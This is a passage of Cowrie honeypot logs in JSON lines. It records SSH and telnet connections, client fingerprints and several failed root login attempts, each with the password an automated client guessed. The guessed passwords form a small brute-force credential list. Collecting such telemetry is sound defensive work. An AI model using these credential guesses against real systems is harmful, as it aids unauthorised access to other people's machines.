{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:28.379598Z","src_ip":"45.137.172.116","session":"249ac3dcedf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0019919872284,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:29.820609Z","src_ip":"152.42.224.71","session":"92d370cbbe00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00546598434448,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:37.796680Z","src_ip":"152.42.224.71","session":"df32931cd296","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.45576477050781,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:37.967425Z","src_ip":"152.42.224.71","session":"9a336c776b37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":39720,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dee84ba2447","protocol":"ssh","message":"New connection: 43.153.70.247:39720 (10.17.0.5:22) [session: 3dee84ba2447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:41.566423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:41.571069Z","src_ip":"43.153.70.247","session":"3dee84ba2447","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:41.639193Z","src_ip":"43.153.70.247","session":"3dee84ba2447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"motdepasse","message":"login attempt [root/motdepasse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:41.942992Z","src_ip":"43.153.70.247","session":"3dee84ba2447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:43.014690Z","src_ip":"43.153.70.247","session":"3dee84ba2447","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39862,"dst_ip":"10.17.0.5","dst_port":23,"session":"c22a7856e22c","protocol":"telnet","message":"New connection: 152.42.224.71:39862 (10.17.0.5:23) [session: c22a7856e22c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:46.158464Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39874,"dst_ip":"10.17.0.5","dst_port":23,"session":"0318204b7ed2","protocol":"telnet","message":"New connection: 152.42.224.71:39874 (10.17.0.5:23) [session: 0318204b7ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:47.084206Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":47972,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab3db6bf8988","protocol":"ssh","message":"New connection: 43.135.177.217:47972 (10.17.0.5:22) [session: ab3db6bf8988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:48.893475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:48.898288Z","src_ip":"43.135.177.217","session":"ab3db6bf8988","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:48.966305Z","src_ip":"43.135.177.217","session":"ab3db6bf8988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root12345!","message":"login attempt [root/Root12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:49.272175Z","src_ip":"43.135.177.217","session":"ab3db6bf8988","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":33980,"dst_ip":"159.203.135.109","dst_port":22,"session":"c62b482ec4eb","protocol":"ssh","message":"New connection: 43.173.84.253:33980 (159.203.135.109:22) [session: c62b482ec4eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:49.623794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:49.627861Z","src_ip":"43.173.84.253","session":"c62b482ec4eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:49.695200Z","src_ip":"43.173.84.253","session":"c62b482ec4eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer12345678","message":"login attempt [root/Qwer12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:49.997128Z","src_ip":"43.173.84.253","session":"c62b482ec4eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":44462,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c77487b6248","protocol":"ssh","message":"New connection: 128.201.9.152:44462 (10.17.0.5:22) [session: 8c77487b6248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:50.051205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:50.055156Z","src_ip":"128.201.9.152","session":"8c77487b6248","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:50.183103Z","src_ip":"128.201.9.152","session":"8c77487b6248","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:50.343399Z","src_ip":"43.135.177.217","session":"ab3db6bf8988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@storage","message":"login attempt [root/Root@storage] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:50.712717Z","src_ip":"128.201.9.152","session":"8c77487b6248","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:51.067786Z","src_ip":"43.173.84.253","session":"c62b482ec4eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:51.839714Z","src_ip":"128.201.9.152","session":"8c77487b6248","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39882,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2019f26aad6","protocol":"telnet","message":"New connection: 152.42.224.71:39882 (10.17.0.5:23) [session: a2019f26aad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:53.260849Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":56778,"dst_ip":"10.17.0.5","dst_port":22,"session":"219b76d4e178","protocol":"ssh","message":"New connection: 193.37.70.224:56778 (10.17.0.5:22) [session: 219b76d4e178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:03.276587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:03.282146Z","src_ip":"193.37.70.224","session":"219b76d4e178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:03.403097Z","src_ip":"193.37.70.224","session":"219b76d4e178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:03.841935Z","src_ip":"193.37.70.224","session":"219b76d4e178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:04.941687Z","src_ip":"193.37.70.224","session":"219b76d4e178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":33218,"dst_ip":"159.203.135.109","dst_port":22,"session":"43b29aab053e","protocol":"ssh","message":"New connection: 103.98.149.87:33218 (159.203.135.109:22) [session: 43b29aab053e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:05.891351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:05.896794Z","src_ip":"103.98.149.87","session":"43b29aab053e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:06.120005Z","src_ip":"103.98.149.87","session":"43b29aab053e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135792468","message":"login attempt [root/135792468] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:06.840030Z","src_ip":"103.98.149.87","session":"43b29aab053e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:08.117976Z","src_ip":"103.98.149.87","session":"43b29aab053e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.072415828704834,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:27.156463Z","src_ip":"152.42.224.71","session":"0318204b7ed2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42360,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc4b16e0d3f8","protocol":"telnet","message":"New connection: 152.42.224.71:42360 (10.17.0.5:23) [session: fc4b16e0d3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:34.177553Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40560,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4f9697f3d86","protocol":"telnet","message":"New connection: 152.42.224.71:40560 (10.17.0.5:23) [session: e4f9697f3d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:40.148585Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":57326,"dst_ip":"10.17.0.5","dst_port":22,"session":"b994ae967b3c","protocol":"ssh","message":"New connection: 45.137.172.116:57326 (10.17.0.5:22) [session: b994ae967b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:44.325345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:44.330203Z","src_ip":"45.137.172.116","session":"b994ae967b3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:44.426944Z","src_ip":"45.137.172.116","session":"b994ae967b3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"games","message":"login attempt [root/games] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:44.844009Z","src_ip":"45.137.172.116","session":"b994ae967b3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":49704,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e83995a2947","protocol":"ssh","message":"New connection: 89.108.118.91:49704 (159.203.135.109:22) [session: 7e83995a2947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:45.365990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:45.371475Z","src_ip":"89.108.118.91","session":"7e83995a2947","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-51